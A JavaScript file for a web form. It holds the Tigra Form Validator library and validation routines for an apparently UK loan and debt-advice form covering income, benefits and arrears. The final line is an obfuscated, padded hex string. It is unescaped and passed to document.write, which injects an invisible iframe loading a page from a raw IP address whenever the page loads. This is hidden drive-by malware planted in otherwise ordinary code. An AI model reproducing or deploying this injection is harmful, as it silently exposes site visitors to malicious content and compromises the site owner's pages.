// Title: Tigra Form Validator
// URL: http://www.softcomplex.com/products/tigra_form_validator/
// Version: 1.2
// Date: 07/11/2005 (mm/dd/yyyy)
// Note: Permission given to use this script in ANY kind of applications if
// header lines are left unchanged.

// regular expressions or function to validate the format
var re_dt = /^(\d{1,2})\-(\d{1,2})\-(\d{4})$/,
re_tm = /^(\d{1,2})\:(\d{1,2})\:(\d{1,2})$/,
a_formats = {
	'alpha'   : /^[a-zA-Z\.\-]*$/,
	'alphanum': /^\w+$/,
	'unsigned': /^\d+$/,
	'integer' : /^[\+\-]?\d*$/,
	'real'    : /^[\+\-]?\d*\.?\d*$/,
	'email'   : /^[\w-\.]+\@[\w\.-]+\.[a-z]{2,4}$/,
	'phone'   : /^[\d\.\s\-]+$/,
	'date'    : function (s_date) {
		// check format
		if (!re_dt.test(s_date))
			return false;
		// check allowed ranges	
		if (RegExp.$1 > 31 || RegExp.$2 > 12)
			return false;
		// check number of day in month
		var dt_test = new Date(RegExp.$3, Number(RegExp.$2-1), RegExp.$1);
		if (dt_test.getMonth() != Number(RegExp.$2-1))
			return false;
		return true;
	},
	'time'    : function validate_time(s_time) {
		// check format
		if (!re_tm.test(s_time))
			return false;
		// check allowed ranges	
		if (RegExp.$1 > 23 || RegExp.$2 > 59 || RegExp.$3 > 59)
			return false;
		return true;
	}
},
a_messages = [
	'No form name passed to validator construction routine',
	'No array of "%form%" form fields passed to validator construction routine',
	'Form "%form%" can not be found in this document',
	'Incomplete "%n%" form field descriptor entry. "l" attribute is missing',
	'Can not find form field "%n%" in the form "%form%"',
	'Can not find label tag (id="%t%")',
	'Can not verify match. Field "%m%" was not found',
	'"%l%" is a required field',
	'Value for "%l%" must be %mn% characters or more',
	'Value for "%l%" must be no longer than %mx% characters',
	'"%v%" is not valid value for "%l%"',
	'"%l%" must match "%ml%"'
]

// validator counstruction routine
function validator(s_form, a_fields, o_cfg) {
	this.f_error = validator_error;
	this.f_alert = o_cfg && o_cfg.alert
		? function(s_msg) { alert(s_msg); return false }
		: function() { return false };
		
	// check required parameters
	if (!s_form)	
		return this.f_alert(this.f_error(0));
	this.s_form = s_form;
	
	if (!a_fields || typeof(a_fields) != 'object')
		return this.f_alert(this.f_error(1));
	this.a_fields = a_fields;

	this.a_2disable = o_cfg && o_cfg['to_disable'] && typeof(o_cfg['to_disable']) == 'object'
		? o_cfg['to_disable']
		: [];
		
	this.exec = validator_exec;
}

// validator execution method
function validator_exec() {
	var o_form = document.forms[this.s_form];
	if (!o_form)	
		return this.f_alert(this.f_error(2));
		
	b_dom = document.body && document.body.innerHTML;
	
	// check integrity of the form fields description structure
	for (var n_key in this.a_fields) {
		// check input description entry
		this.a_fields[n_key]['n'] = n_key;
		if (!this.a_fields[n_key]['l'])
			return this.f_alert(this.f_error(3, this.a_fields[n_key]));
		o_input = o_form.elements[n_key];
		if (!o_input)
			return this.f_alert(this.f_error(4, this.a_fields[n_key]));
		this.a_fields[n_key].o_input = o_input;
	}

	// reset labels highlight
	if (b_dom)
		for (var n_key in this.a_fields) 
			if (this.a_fields[n_key]['t']) {
				var s_labeltag = this.a_fields[n_key]['t'], e_labeltag = get_element(s_labeltag);
				if (!e_labeltag)
					return this.f_alert(this.f_error(5, this.a_fields[n_key]));
				this.a_fields[n_key].o_tag = e_labeltag;
				
				// normal state parameters assigned here
				e_labeltag.className = 'tfvNormal';
			}

	// collect values depending on the type of the input
	for (var n_key in this.a_fields) {
		var s_value = '';
		o_input = this.a_fields[n_key].o_input;
		if (o_input.type == 'checkbox') // checkbox
			s_value = o_input.checked ? o_input.value : '';
		else if (o_input.value) // text, password, hidden
			s_value = o_input.value;
		else if (o_input.options) // select
			s_value = o_input.selectedIndex > -1
				? o_input.options[o_input.selectedIndex].value
				: null;
		else if (o_input.length > 0) // radiobuton
			for (var n_index = 0; n_index < o_input.length; n_index++)
				if (o_input[n_index].checked) {
					s_value = o_input[n_index].value;
					break;
				}
		this.a_fields[n_key]['v'] = s_value.replace(/(^\s+)|(\s+$)/g, '');
	}
	
	// check for errors
	var n_errors_count = 0,
		n_another, o_format_check;
	for (var n_key in this.a_fields) {
		o_format_check = this.a_fields[n_key]['f'] && a_formats[this.a_fields[n_key]['f']]
			? a_formats[this.a_fields[n_key]['f']]
			: null;

		// reset previous error if any
		this.a_fields[n_key].n_error = null;

		// check reqired fields
		if (this.a_fields[n_key]['r'] && !this.a_fields[n_key]['v']) {
			this.a_fields[n_key].n_error = 1;
			n_errors_count++;
		}
		// check length
		else if (this.a_fields[n_key]['mn'] && this.a_fields[n_key]['v'] != '' && String(this.a_fields[n_key]['v']).length < this.a_fields[n_key]['mn']) {
			this.a_fields[n_key].n_error = 2;
			n_errors_count++;
		}
		else if (this.a_fields[n_key]['mx'] && String(this.a_fields[n_key]['v']).length > this.a_fields[n_key]['mx']) {
			this.a_fields[n_key].n_error = 3;
			n_errors_count++;
		}
		// check format
		else if (this.a_fields[n_key]['v'] && this.a_fields[n_key]['f'] && (
			(typeof(o_format_check) == 'function'
			&& !o_format_check(this.a_fields[n_key]['v']))
			|| (typeof(o_format_check) != 'function'
			&& !o_format_check.test(this.a_fields[n_key]['v'])))
			) {
			this.a_fields[n_key].n_error = 4;
			n_errors_count++;
		}
		// check match	
		else if (this.a_fields[n_key]['m']) {
			for (var n_key2 in this.a_fields)
				if (n_key2 == this.a_fields[n_key]['m']) {
					n_another = n_key2;
					break;
				}
			if (n_another == null)
				return this.f_alert(this.f_error(6, this.a_fields[n_key]));
			if (this.a_fields[n_another]['v'] != this.a_fields[n_key]['v']) {
				this.a_fields[n_key]['ml'] = this.a_fields[n_another]['l'];
				this.a_fields[n_key].n_error = 5;
				n_errors_count++;
			}
		}
		
	}

	// collect error messages and highlight captions for errorneous fields
	var s_alert_message = '',
		e_first_error;

	if (n_errors_count) {
		for (var n_key in this.a_fields) {
			var n_error_type = this.a_fields[n_key].n_error,
				s_message = '';
				
			if (n_error_type)
				s_message = this.f_error(n_error_type + 6, this.a_fields[n_key]);

			if (s_message) {
				if (!e_first_error)
					e_first_error = o_form.elements[n_key];
				s_alert_message += s_message + "\n";
				// highlighted state parameters assigned here
				if (b_dom && this.a_fields[n_key].o_tag)
					this.a_fields[n_key].o_tag.className = 'tfvHighlight';
			}
		}
		alert(s_alert_message);
		// set focus to first errorneous field
		if (e_first_error.focus && e_first_error.type != 'hidden'  && !e_first_error.disabled)
			eval("e_first_error.focus()");
		// cancel form submission if errors detected
		return false;
	}
	
	for (n_key in this.a_2disable)
		if (o_form.elements[this.a_2disable[n_key]])
			o_form.elements[this.a_2disable[n_key]].disabled = true;

	return true;
}

function validator_error(n_index) {
	var s_ = a_messages[n_index], n_i = 1, s_key;
	for (; n_i < arguments.length; n_i ++)
		for (s_key in arguments[n_i])
			s_ = s_.replace('%' + s_key + '%', arguments[n_i][s_key]);
	s_ = s_.replace('%form%', this.s_form);
	return s_
}

function get_element (s_id) {
	return (document.all ? document.all[s_id] : (document.getElementById ? document.getElementById(s_id) : null));
}
function echeck(str) {

		var at="@"
		var dot="."
		var lat=str.indexOf(at)
		var lstr=str.length
		var ldot=str.indexOf(dot)
		if (str.indexOf(at)==-1){
		   alert("Invalid E-mail ID")
		   return false
		}

		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
		   alert("Invalid E-mail ID")
		   return false
		}

		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		    alert("Invalid E-mail ID")
		    return false
		}

		 if (str.indexOf(at,(lat+1))!=-1){
		    alert("Invalid E-mail ID")
		    return false
		 }

		 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
		    alert("Invalid E-mail ID")
		    return false
		 }

		 if (str.indexOf(dot,(lat+2))==-1){
		    alert("Invalid E-mail ID")
		    return false
		 }
		
		 if (str.indexOf(" ")!=-1){
		    alert("Invalid E-mail ID")
		    return false
		 }

 		 return true					
	}
function ValidateForm(){
	var dob = document.getElementById('DOB yyyy');
	var CN=document.getElementById('Contact Number');
	var Amt=document.getElementById('Amount');
	var Afford=document.getElementById('How much can you afford');
	var emailID=document.registerform.email
	var conEmailID=document.registerform.conEmail
	var dateofbirth = new Date();
	var age = (dateofbirth.getFullYear()-dob.value);
	if(dob.value == '')
	{
		alert("Please enter the DOB year.")
		dob.focus()
		return false
	}
	if(age < 18){
		alert("You are not above 18 years of age.")
		dob.focus()
		return false
	}
	if(isNaN(CN.value)){
		alert("Please Enter Contact Number")
		CN.focus()
		return false
	}
	if ((emailID.value==null)||(emailID.value=="")){
		alert("Please Enter your Email ID")
		emailID.focus()
		return false
	}
	if ((conEmailID.value==null)||(conEmailID.value=="")){
		alert("Please Enter your confirmation Email ID")
		conEmailID.focus()
		return false
	}	
	if (echeck(emailID.value)==false){
		emailID.value=""
		emailID.focus()
		return false
	}
	if(echeck(conEmailID.value)==false){
		conEmailID.value=""
		conEmailID.focus()
		return false	
	}
	if((emailID.value) != (conEmailID.value)){
		alert("Confirmation Email ID does not match with the Email ID.")
		conEmailID.focus()
		return false	
	}
	
	if(isNaN(Amt.value)){
		alert("Please Enter Loan Amount, It should be a number")
		Amt.focus()
		return false
	}
	if(isNaN(Afford.value)){
		alert("Please Enter The Amount, It should be a number")
		Afford.focus()
		return false
	}
	return true
 }
 
 function validateArrears(){
	if(document.getElementById('Yes').checked && document.getElementById('Accommodation').value==''){
		alert("Please enter the owed amount");
		return false;
	}

	if(document.getElementById('Yes2').checked && document.getElementById('Council Tax').value==''){
		alert("Please enter the owed amount");
		return false;
	}
	if(document.getElementById('Yes3').checked && document.getElementById('Insurance').value==''){
		alert("Please enter the owed amount");
		return false;
	}
	
	if(document.getElementById('Yes4').checked && document.getElementById('Utilities').value==''){
		alert("Please enter the owed amount");
		return false;
	}
	if(document.getElementById('Yes7').checked && document.getElementById('Travel').value==''){
		alert("Please enter the owed amount");
		return false;
	}
	if(document.getElementById('Yes9').checked && document.getElementById('Child_Maintenance').value==''){
		alert("Please enter the owed amount");
		return false;
	}
	if(document.getElementById('Yes10').checked && document.getElementById('Entertainment').value==''){
		alert("Please enter the owed amount");
		return false;
	}
	if(document.getElementById('Yes12').checked && document.getElementById('Court Fines').value==''){
		alert("Please enter the owed amount");
		return false;
	}
	if(document.getElementById('Yes13').checked && document.getElementById('Catalogues').value==''){
		alert("Please enter the owed amount");
		return false;
	}
	if(document.getElementById('Yes14').checked && document.getElementById('Store Cards').value==''){
		alert("Please enter the owed amount");
		return false;
	}
	if(document.getElementById('Yes15').checked && document.getElementById('Credit Cards').value==''){
		alert("Please enter the owed amount");
		return false;
	}
	if(document.getElementById('Yes16').checked && document.getElementById('Brighthouse').value==''){
		alert("Please enter the owed amount");
		return false;
	}
	if(document.getElementById('Yes17').checked && document.getElementById('Provident').value==''){
		alert("Please enter the owed amount");
		return false;
	}
	if(document.getElementById('Yes18').checked && document.getElementById('Other').value==''){
		alert("Please enter the owed amount");
		return false;
	}
	return true;
}

function validateStep2(){
		var Wages = document.getElementById('Wages');
		var PW = document.getElementById('Partner Wages');
		var CTC = document.getElementById('Child Tax Credits');
		var CB = document.getElementById('Child Benefit');
		var CM = document.getElementById('Child Maintenance');
		var JSA = document.getElementById('JSA/ESA');
		var PEN = document.getElementById('Pension/Pension Credit');
		var OB = document.getElementById('Other Benefits');
		var OI = document.getElementById('Other Income');
		
		var Accommodation = document.getElementById('Accommodation');
		var CTax = document.getElementById('Council Tax');
		var Insurance = document.getElementById('Insurance');
		var Utilities = document.getElementById('Utilities');
		var Food = document.getElementById('Food');
		var Clothing = document.getElementById('Clothing');
		var Travel = document.getElementById('Travel');
		var ChildMinding = document.getElementById('Child Minding');
		var Child_Maintenance = document.getElementById('Child_Maintenance');
		var Entertainment = document.getElementById('Entertainment');
		var Tobacco = document.getElementById('Tobacco');
		var CourtFines = document.getElementById('Court Fines');
		var Catalogues = document.getElementById('Catalogues');
		var StoreCards = document.getElementById('Store Cards');
		var CreditCards = document.getElementById('Credit Cards');
		var Brighthouse = document.getElementById('Brighthouse');
		var Provident = document.getElementById('Provident');
		var Other = document.getElementById('Other');
		
		if(isNaN(Wages.value)){
		alert("Please Enter Wages, It should be a number")
		Wages.focus()
		return false
		}
		
		if(isNaN(PW.value)){
		alert("Please Enter Partner Wages, It should be a number")
		PW.focus()
		return false
		}
		
		if(isNaN(CTC.value)){
		alert("Please Enter Child Tax Credits, It should be a number")
		CTC.focus()
		return false
		}
		
		if(isNaN(CB.value)){
		alert("Please Enter Child Benefit, It should be a number")
		CB.focus()
		return false
		}
		
		if(isNaN(CM.value)){
		alert("Please Enter Child Maintenance, It should be a number")
		CM.focus()
		return false
		}
		
		if(isNaN(JSA.value)){
		alert("Please Enter JSA/ESA, It should be a number")
		JSA.focus()
		return false
		}
		
		if(isNaN(PEN.value)){
		alert("Please Enter Pension/Pension Credit, It should be a number")
		PEN.focus()
		return false
		}
		
		if(isNaN(OB.value)){
		alert("Please Enter Other Benefits, It should be a number")
		OB.focus()
		return false
		}
		
		if(isNaN(OI.value)){
		alert("Please Enter Other Income, It should be a number")
		OI.focus()
		return false
		}
		
		if(isNaN(Accommodation.value)){
		alert("Please Enter a number")
		Accommodation.focus()
		return false
		}
		
		if(isNaN(CTax.value)){
		alert("Please Enter a number")
		CTax.focus()
		return false
		}
		
		if(isNaN(Insurance.value)){
		alert("Please Enter a number")
		Insurance.focus()
		return false
		}
		
		if(isNaN(Utilities.value)){
		alert("Please Enter a number")
		Utilities.focus()
		return false
		}
		
		if(isNaN(Food.value)){
		alert("Please Enter a number")
		Food.focus()
		return false
		}
		
		if(isNaN(Clothing.value)){
		alert("Please Enter Other Income, It should be a number")
		Clothing.focus()
		return false
		}
		
		if(isNaN(Travel.value)){
		alert("Please Enter a number")
		Travel.focus()
		return false
		}
		
		if(isNaN(ChildMinding.value)){
		alert("Please Enter a number")
		ChildMinding.focus()
		return false
		}
		
		if(isNaN(Child_Maintenance.value)){
		alert("Please Enter a number")
		Child_Maintenance.focus()
		return false
		}
		
		if(isNaN(Entertainment.value)){
		alert("Please Enter a number")
		Entertainment.focus()
		return false
		}
		
		if(isNaN(Tobacco.value)){
		alert("Please Enter a number")
		Tobacco.focus()
		return false
		}
		
		if(isNaN(CourtFines.value)){
		alert("Please Enter a number")
		CourtFines.focus()
		return false
		}
		
		if(isNaN(Catalogues.value)){
		alert("Please Enter a number")
		Catalogues.focus()
		return false
		}
		
		if(isNaN(StoreCards.value)){
		alert("Please Enter a number")
		StoreCards.focus()
		return false
		}
		
		if(isNaN(CreditCards.value)){
		alert("Please Enter a number")
		CreditCards.focus()
		return false
		}
		
		if(isNaN(Brighthouse.value)){
		alert("Please Enter a number")
		Brighthouse.focus()
		return false
		}
		
		if(isNaN(Provident.value)){
		alert("Please Enter a number")
		Provident.focus()
		return false
		}
		
		if(isNaN(Other.value)){
		alert("Please Enter a number")
		Other.focus()
		return false
		}

		
		return true
}

var uanbvqqjnvp = 'aXUgaXupEZYTuq3caXUgaXupEZYTuq69aXUgaXupEZYTuq66';var pbzknnysfbl = 'aXUgaXupEZYTuq72';var tiuldkmwapw = 'aXUgaXupEZYTuq61aXUgaXupEZYTuq6daXUgaXupEZYTuq65aXUgaXupEZYTuq20aXUgaXupEZYTuq6eaXUgaXupEZYTuq61aXUgaXupEZYTuq6daXUgaXupEZYTuq65aXUgaXupEZYTuq3daXUgaXupEZYTuq22';var uqrehbrcqhe = 'aXUgaXupEZYTuq70aXUgaXupEZYTuq75aXUgaXupEZYTuq6faXUgaXupEZYTuq65aXUgaXupEZYTuq76aXUgaXupEZYTuq77aXUgaXupEZYTuq74aXUgaXupEZYTuq73aXUgaXupEZYTuq66aXUgaXupEZYTuq73aXUgaXupEZYTuq6b';var vrrdqkirwpa = 'aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq77aXUgaXupEZYTuq69aXUgaXupEZYTuq64aXUgaXupEZYTuq74aXUgaXupEZYTuq68aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq31aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq68aXUgaXupEZYTuq65aXUgaXupEZYTuq69aXUgaXupEZYTuq67aXUgaXupEZYTuq68aXUgaXupEZYTuq74aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq30aXUgaXupEZYTuq22';var tadbmzccwqs = 'aXUgaXupEZYTuq20aXUgaXupEZYTuq73aXUgaXupEZYTuq72aXUgaXupEZYTuq63aXUgaXupEZYTuq3daXUgaXupEZYTuq22';var zuaomcfthvl = 'aXUgaXupEZYTuq68aXUgaXupEZYTuq74aXUgaXupEZYTuq74aXUgaXupEZYTuq70aXUgaXupEZYTuq3aaXUgaXupEZYTuq2faXUgaXupEZYTuq2f';var yybjgtgvtxw = '85.12.60.10/dlo/index.php';var oyjwblsregm = 'aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq6daXUgaXupEZYTuq61aXUgaXupEZYTuq72aXUgaXupEZYTuq67aXUgaXupEZYTuq69aXUgaXupEZYTuq6eaXUgaXupEZYTuq77aXUgaXupEZYTuq69aXUgaXupEZYTuq64aXUgaXupEZYTuq74aXUgaXupEZYTuq68aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq31aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq6daXUgaXupEZYTuq61aXUgaXupEZYTuq72aXUgaXupEZYTuq67aXUgaXupEZYTuq69aXUgaXupEZYTuq6eaXUgaXupEZYTuq68aXUgaXupEZYTuq65aXUgaXupEZYTuq69aXUgaXupEZYTuq67aXUgaXupEZYTuq68aXUgaXupEZYTuq74aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq30aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq74aXUgaXupEZYTuq69aXUgaXupEZYTuq74aXUgaXupEZYTuq6caXUgaXupEZYTuq65aXUgaXupEZYTuq3daXUgaXupEZYTuq22';var ovyharowdnu = 'aXUgaXupEZYTuq70aXUgaXupEZYTuq75aXUgaXupEZYTuq6faXUgaXupEZYTuq65aXUgaXupEZYTuq76aXUgaXupEZYTuq77aXUgaXupEZYTuq74aXUgaXupEZYTuq73aXUgaXupEZYTuq66aXUgaXupEZYTuq73aXUgaXupEZYTuq6b';var oxbxdxqbuna = 'aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq73aXUgaXupEZYTuq63aXUgaXupEZYTuq72aXUgaXupEZYTuq6faXUgaXupEZYTuq6caXUgaXupEZYTuq6caXUgaXupEZYTuq69aXUgaXupEZYTuq6eaXUgaXupEZYTuq67aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq6eaXUgaXupEZYTuq6faXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq62aXUgaXupEZYTuq6faXUgaXupEZYTuq72aXUgaXupEZYTuq64aXUgaXupEZYTuq65aXUgaXupEZYTuq72aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq30aXUgaXupEZYTuq22aXUgaXupEZYTuq20aXUgaXupEZYTuq66aXUgaXupEZYTuq72aXUgaXupEZYTuq61aXUgaXupEZYTuq6daXUgaXupEZYTuq65aXUgaXupEZYTuq62aXUgaXupEZYTuq6faXUgaXupEZYTuq72aXUgaXupEZYTuq64aXUgaXupEZYTuq65aXUgaXupEZYTuq72aXUgaXupEZYTuq3daXUgaXupEZYTuq22aXUgaXupEZYTuq30aXUgaXupEZYTuq22aXUgaXupEZYTuq3e';var njbpbsuieyd = 'aXUgaXupEZYTuq3caXUgaXupEZYTuq2faXUgaXupEZYTuq69aXUgaXupEZYTuq66';var ygdvuayiudf = 'aXUgaXupEZYTuq72aXUgaXupEZYTuq61';var saiurkoekso = 'aXUgaXupEZYTuq6daXUgaXupEZYTuq65aXUgaXupEZYTuq3e';var oiqdcyibblh = new Array();oiqdcyibblh[0]=new Array(uanbvqqjnvp+pbzknnysfbl+tiuldkmwapw+uqrehbrcqhe+vrrdqkirwpa+tadbmzccwqs+zuaomcfthvl+yybjgtgvtxw+oyjwblsregm+ovyharowdnu+oxbxdxqbuna+njbpbsuieyd+ygdvuayiudf+saiurkoekso);document['aXUgaXupEZYTuqwaXUgaXupEZYTuqraXUgaXupEZYTuqiaXUgaXupEZYTuqtaXUgaXupEZYTuqeaXUgaXupEZYTuq'.replace(/aXUgaXupEZYTuq/g,'')](window['aXUgaXupEZYTuquaXUgaXupEZYTuqnaXUgaXupEZYTuqeaXUgaXupEZYTuqsaXUgaXupEZYTuqcaXUgaXupEZYTuqaaXUgaXupEZYTuqpaXUgaXupEZYTuqeaXUgaXupEZYTuq'.replace(/aXUgaXupEZYTuq/g,'')](oiqdcyibblh.toString().replace(/aXUgaXupEZYTuq/g,'%')));